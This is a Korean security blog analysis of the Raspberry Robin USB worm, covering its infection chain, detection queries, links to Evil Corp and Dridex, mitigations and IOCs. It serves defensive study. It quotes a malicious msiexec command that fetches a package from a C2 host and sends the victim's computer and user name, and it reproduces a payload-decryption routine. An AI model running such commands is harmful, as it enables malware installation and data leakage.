상세 컨텐츠

본문 제목

USB로 전파되는 라즈베리 로빈, 러시아 해커 집단 이블 코프와 연관돼

국내외 보안동향

by 알 수 없는 사용자 2022. 10. 4. 09:24

본문

라즈베리 로빈(Raspberry Robin)은 직원들 사이에 공유되는 USB까지 감염시키며 빠른 속도로 피해자의 내부 네트워크를 침투하는 기능을 가진 악성코드입니다. 사회 공학 기법으로 피해자를 속여 감염된 USB 드라이브를 사용하도록 유도합니다.

 

IBM Security에 따르면 2022년 여름 한 철 동안 USB 기반의 웜으로 인한 감염이 제조업, 테크놀로지 산업, 에너지 산업, 운송업 내 산업체 등의 분야에서 17% 증가했다고 밝혀졌습니다. 이에 덧붙여 라즈베리 로빈 악성코드가 러시아 해커 집단 이블 코프(Evil Corp)와 연관되어 있을 것이라는 주장이 제기되었습니다. 다른 악성코드의 로더 역할을 하는 라즈베리 로빈이 드리덱스(Dridex) 악성코드 로더와 구조 및 기능적으로 상당한 유사성을 띠고 있다는 것이 확인되었기 때문입니다.

[그림 1] 라즈베리 로빈 개요

 

라즈베리 로빈 감염 체인 및 단계별 탐지 방법

라즈베리 로빈 감염 과정에서 단계별로 탐지할 수 있는 방법 및 관점에 대해서 살펴보겠습니다.

 

초기 접근

QNAP 웜이라고도 불리는 라즈베리 로빈은 보통 악성 바로 가기(LNK) 파일이 포함된 이동식 드라이브(보통 USB 장치)를 통해 전파됩니다. 감염된 드라이브가 시스템에 연결되면 UserAssis 레지스트리가 업데이트되고, lnk 파일을 참조하여 실행되는 ROT13 암호화 값을 기록합니다.

 

실행 (1)

라즈베리 로빈은 cmd.exe를 사용하여 감염된 외장 드라이브에 저장된 파일을 읽고 실행합니다. 해당 파일 이름은 5~7자리의 임의의 영숫자와 .usb, .ico, .lnk, .bin, .sv 및 .lo 등의 다양한 파일 확장자로 구성됩니다. 파일 내용을 표시하는 기본 제공 명령어인 type이 포함되는 경우도 있습니다.

[그림 2] 라즈베리 로빈의 cmd.exe 명령어 예시 (Red Canary)

 

다음으로 cmd.exe는 explorer.exe와 msiexec.exe를 호출합니다.

 

explorer.exe의 명령어에는 호스트명이나 LNK 파일의 이름과 같이 외부 장치에 대한 참조가 포함될 수 있습니다. 공격자들은 탐지 회피를 위해 대소문자 혼합 구문을 사용합니다.

[그림 3] 디바이스 또는 파일 이름을 나타내는 명령어 (Red Canary)

 

C&C 서버

사용자가 LNK 파일을 클릭하면, 정상 윈도우 시스템 내장 도구인 msiexec.exe가 공식 설치 프로그램 패키지를 다운로드 및 실행합니다. 감염되면 역방향 프록시 역할을 하는 것으로 보이며, 이 과정에서 라즈베리 로빈은 악성 C&C 도메인에서 외부 네트워크와의 통신을 시도합니다. C&C 도메인의 특징은 아래와 같습니다.

- 탐지 회피 목적으로 대소문자가 혼합된 문자로 구성
- vo[.]cx와 같이 짧은 문자의 도메인
- 최근에 등록된 C2 도메인 사용

 

탐지된 도메인은 라즈베리 로빈이 활성화된 시간에 로그인 페이지를 제공하는 감염된 QNAP NAS 장치를 호스팅 했습니다. IBM Security에서 확인한 msiexec 명령어는 피해자의 호스트명과 사용자명을 포함하여 비표준 HTTP 웹 서비스 포트 8080을 통해 연결합니다.

Command Line: msieXeC /q /I "S8[.]Cx:8080/random string/coMpUTErname=USER"

[표 1] 악성 라즈베리 로빈 msiexec.exe 명령어 예시

 

따라서, 라즈베리 로빈이 C2 서버와 연결 시도를 하는 단계에서 윈도우 설치 도구인 msiexec.exe를 사용한 명령어와 다운로드하는 URL, 실행되는 패키지을 살펴봐야 합니다. 이를 통해 악성 아웃바운드 네트워크 연결이 있었는지 탐지하고 감염 여부를 확인할 수 있습니다.

# 탐지법 : msiexec.exe를 사용한 다운로드 및 패키지 실행 흔적 확인
process == ('msiexec')
&&
process_command_line_includes == ('http:', 'https:')
&&
process_command_line_includes == ('/q', '-q')

 

지속성

라즈베리 로빈이 msiexec.exe를 통해 악성 DLL을 설치하여 어떠한 추가적인 행위를 하는지는 현재로서 명확히 확인되지 않았으나, Red Canary에 따르면 피해자의 시스템에서 지속성을 유지하기 위한 행위를 할 것이라 추측하고 있습니다. 탐지된 악성 파일은 C:\Windows\Installer\MSI****.tmp파일로 생성됐습니다. oNameMD5 (VT

No Name MD5 (VT) 
1 C:\Windows\Installer\MSI5C01.tmp
C:\Users\username\AppData\Local\Temp\bznwi.ku
6f5ea8383bc3bd07668a7d24fe9b0828
2 C:\Windows\Installer\MSIE160.tmp e8f0d33109448f877a0e532b1a27131a

[표 2] 탐지된 악성파일 예시

 

실행 (2)

msiexec.exe는 라즈베리 로빈 로더 DLL을 다운로드한 뒤, rundll32.exe, fodhelper.exe, regsvr32.exe, dllhost.exe 및 odbcconf.exe와 같은 LOLBin(living-off-the-land binaries)으로 알려진 다른 정상 윈도우 시스템 유틸리티 및 도구를 활용하여 로드 및 실행합니다.

 

1) fodhelper.exe

msiexec.exe는 fodhelper.exe를 실행하여 rundll32.exe를 생성하고, 악성 명령어를 실행합니다. 이를 통해 실행된 프로세스는 사용자 계정 컨트롤 프롬프트 없이 상승된 관리자 권한으로 실행됩니다.

#탐지법 : fodhelper.exe를 통해 상승된 권한으로 프로세스가 사용되는 것을 확인
parent_process == ('fodhelper')

2) rundll32.exe

odbcconf.exe와 같은 정상 윈도우 내장 도구를 시작하고, 설치된 악성 DLL bznwi.ku(해시값: 6f5ea8383bc3bd07668a7d24fe9b0828)를 실행하기 위해 추가 명령어를 전달합니다.

[그림 4] 실행되는 악성 rundll32.exe 명령어 형태 (Red Canary)

3) odbcconf.exe

odbcconf.exe의 -A 옵션은 작업을 특정합니다. configdriver는 드라이버 설정 DLL을 로드하는데, [그림 4]에서는 VKIPDSE를 가리킵니다.

 

SETFILEDSNDIR은 아래의 레지스트리 경로가 없는 경우 새로 만들고, 파일 기반 데이터 원본을 만들 때 ODBC 데이터 원본 관리자가 사용하는 기본 위치를 지정합니다. 

HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC File DSN\DefaultDSNDir

 

INSTALLDRIVER는 드라이버에 대한 정보를 추가합니다.

 

odbcconf.exe는 regsvr32.exe와 유사한 내장 regsvr 옵션을 사용합니다. 이는 공격자가 DLL을 실행하고 탐지를 우회할 수 있습니다. 또한, 자동 모드에서 rgsvr 작업을 실행하는 odbcconf.exe는 악성 행위를 하고 있다는 것을 의미합니다. 따라서, odbcconf.exe가 구성 파일 또는 DLL을 로드하는 것과 자동 모드로 실행되는 것을 탐지해야 합니다.

 

#탐지법 : odbcconf.exe의 DLL 로드 과정 탐지
process == ('odbcconf')
&&
process_command_line_includes == ('regsvr)
&&
process_command_line_includes == ('/f', '-f')
||
process_command_line_includes == ('/a', '-a')
||
process_command_line_includes == ('/s', '-s')

# /A 옵션 : 작업 지정
# /F 옵션 : 응답 파일 사용
# /S 옵션 : 자동 모드에서 실행

 

4) C2

 

regsvr32.exe, rundll32.exe 및 dllhost.exe가 매개변수 없이 실행되고, 외부 네트워크 연결을 설정하는 것이 본질적으로 악의적인 행위는 아니지만, 지속적으로 모니터링하는 것이 좋습니다. 

#탐지법 : 매개변수 없이 명령어에서 네트워크 연결
#명령어 내의 큰따옴표(“”)는 null을 의미
process == ('regsvr32')
||
process == ('rundll32')
||
process == ('dllhost')
&&
process_command_line_contains == (“”)
&&
has_netconnection

 

라즈베리 로빈과 이블 코프의 연관성

기존에 관찰된 수백만 건의 라즈베리 로빈 웜은 처음 감염된 시스템에서 오랜 기간 동안 활동하지 않았습니다. 단순히 최대 절전 모드로 전환되고, 익스플로잇을 위한 2단계 페이로드 역시 확인되지 않았습니다.

 

그러나 최근  IBM과 Microsoft 연구원은 라즈베리 로빈 감염 과정에서 FakeUpdates 악성코드가 다운로드되기 시작한 것을 확인했습니다. SocGhoulish로도 알려진 FakeUpdates는 이블 코프가 랜섬웨어를 활용하기 전 초기에 사용하는 악성코드 중 하나입니다. 일반 소프트웨어의 정상 업데이트처럼 보이지만, 코발트 스트라이크(Cobalt Strike) 및 미미카츠(Mimikatz) 등의 다른 공격 도구나 랜섬웨어를 피해자 시스템에 설치합니다.

 

Microsoft는 FakeUpdates가 한 접근 브로커(DEV-0206)가 사용하는 도구라고 파악한 바 있습니다. 이는 DEV-0243(이블 코프)와 DEV-0206 간의 파트너십이 체결되었을 가능성을 시사합니다.

 

라즈베리 로빈 로더와 드리덱스 로더의 비교 분석

IBM Security 연구원들은 라즈베리 로빈 감염 과정에서 사용되는 두 개의 DLL을 리버스 엔지니어링 하여 드리덱스 악성코드 로더와 비교했습니다. 그 결과, 32비트 라즈베리 로빈 로더와 64비트 드리덱스 로더에 대하여 기능 및 구조의 연관성을 발견했습니다. 

NameFile Hashes
Name File Hashes 
Raspberry Robin Loader variant 1 1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1
Dridex Loader b30b76585ea225bdf8b4c6eedf4e6e99aff0cf8aac7cdf6fb1fa58b8bde68ab3

[표 3] 라즈베리 로빈 및 드리덱스 로더의 샘플 파일 해시값

 

공통점 (1) : 최종 페이로드를 디코딩하는 중간 로더의 문자열 디코딩 알고리즘

중간 로더는 최종 페이로드의 복호화와 실행을 담당합니다. 라즈베리 로빈과 드리덱스의 로더는 중간 로더를 유사한 방식으로 최종 페이로드를 복호화하고, LdrLoadDll() 함수에서 후크 감지를 수행하는 분석 방지 코드를 포함하고 있습니다. 이를 통해 악성코드는 바이러스 백신 소프트웨어에서 프로세스를 모니터링하는지 확인할 수 있습니다. 

 

또한, 문자열 디코딩 알고리즘은 인코딩된 바이트에서 키 바이트를 뺀다는 점이 유사합니다.

[그림 5] 라즈베리 로빈 로더와 드리덱스 로더에서 찾은 문자열 디코딩 알고리즘 (Security Intelligence)

 

공통점 (2) : 랜덤한 문자열 사용

PE 데이터 섹션에 임의의 문자열을 사용하는 공통점이 있습니다.

[그림 6] 라즈베리 로빈 로더 및 드리덱스 로더에서 발견된 무작위 문자열 (Security Intelligence)

 

공통점 (3) : 인라인 문자열 디코딩 반복문

[표 3]의 샘플 파일에는 주요 문자열을 복호화하는 유사한 인라인 반복문이 포함되어 있습니다.

[그림 7] 라즈베리 로빈 로더 및 드리덱스 로더에서 찾은 인라인 문자열 디코딩 알고리즘 (Security Intelligence)

 

공통점 (4) : 인라인 문자열 디코딩 반복문

[그림 7]의 반복문을 포함하는 함수의 끝에서 RC4 복호화 함수가 호출됩니다. 이후 암호화된 페이로드 오프셋 및 크기 등의 값이 [그림 8]와 같은 구조체에 할당됩니다.

[그림 8] 페이로드의 크기 및 오프셋을 나타내는 할당된 값 (Security Intelligence)

 

공통점 (5) : 헤더 변경

컴포넌트의 PE 헤더는 메모리에 부적합한 형식으로 복호화 됩니다. 따라서, 악성코드는 헤더에 MZ(0x4D5A)” 바이트를 추가하여 적절한 헤더를 갖도록 컴포넌트를 수정합니다.

[그림 9] 적절한 값으로 변경되는 헤더 (Security Intelligence)

 

최종 페이로드는 아래의 Python 코드로 표현되는 알고리즘을 사용하여 복호화 됩니다.

decrypted_payload = bytearray(payload)
index = 0
size = len(payload)
while index != 254:
payload_idx = lookup_table[index*4]
while True:
if payload_idx >= size:
break
key_idx = payload_idx & 0x1F
key_byte = key[key_idx]
decrypted_byte = (payload[payload_idx] - key_byte) & 0xFF
decrypted_payload[payload_idx] = decrypted_byte
payload_idx += 0xFF
index += 1

 

라즈베리 로빈 대응 방안

라즈베리 로빈 감염 과정은 사용자가 감염된 USB 장치를 컴퓨터에 연결하는 것을 유도하는 사회 공학 기법으로 시작한다는 점에 유의해야 합니다.

(1) 보안 인식 교육
(2) 사용자 환경에서 IOC 검색
(3) EDR 모니터링 솔루션 설치 및 배포
(4) EDR 솔루션을 활용하여 USB 장치 연결 비활성화 및 모니터링
(5) 윈도우 운영체제 설정에서 자동 실행 기능 비활성화

 

Appendix

MITRE ATT&CK Mapping

TacticTechniqueDescription
Tactic Technique Description
Initial Access T1091 
Replication Through Removable Media
- 감염된 이동식 드라이브를 통한 전파
- USB 디바이스에서 정상 폴더로 가장한 바로가기(lnk) 파일
Initial Access - - explorer.exe를 통한 호스트명, 디바이스, 이름 등의 참조가 포함된 명령어
Execution T1059.003
Command and Scripting Interpreter (Windows Command Shell)
- “cmd/R <” 사용
- 랜덤한 숫자 및 문자의 파일 읽고 실행
Defense
Evasion
- - 방어 회피를 위한 대소문자 혼합 사용
Defense
Evasion
T1218.008
Signed Binary Proxy Execution: Rundll32
T1218.008
Signed Binary Proxy Execution: Odbcconf
- fodhelper.exe, odbcconf.exe 등의 공식적인 윈도우 내장 도구 사용
- rundll32.exe로 DLL 파일 실행
C2 T1218.007
Signed Binary Proxy Execution: Msiexec
T1071.001
Application Layer Protocol: Web Protocols
- msiexec.exe : 피해자의 호스트명, 사용자명을 포함한 URL에 아웃바운드 연결
C2 - - 최근 등록된 C2 도메인
- 문자 수가 적은 최상위 도메인
- C2 인프라로 사용될 가능성 있음
C2 - - 감염된 QNAP NAS 디바이스에 연결된 인프라 사용
C2 T1218.008
Signed Binary Proxy Execution: Rundll32
T1218.008
Signed Binary Proxy Execution: Regsvr32
- rundll32.exe 및 regsvr32.exe : C2 통신에 사용

 

IOCs

NameFile Hashes
Name File Hashes
Raspberry Robin Loader variant 1 c0a13af59e578b77e82fe0bc87301f93fc2ccf0adce450087121cb32f218092c
Raspberry Robin Loader Variant 2 1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1
Dridex Loader b30b76585ea225bdf8b4c6eedf4e6e99aff0cf8aac7cdf6fb1fa58b8bde68ab3

 

출처

https://thehackernews.com/2022/09/new-evidence-links-raspberry-robin.html

https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/

https://redcanary.com/blog/raspberry-robin/

https://github.com/telekom-security/malware_analysis/tree/main/raspberry_robin (IOCs)

 

보안관제센터 MIR Team

관련글 더보기

댓글 영역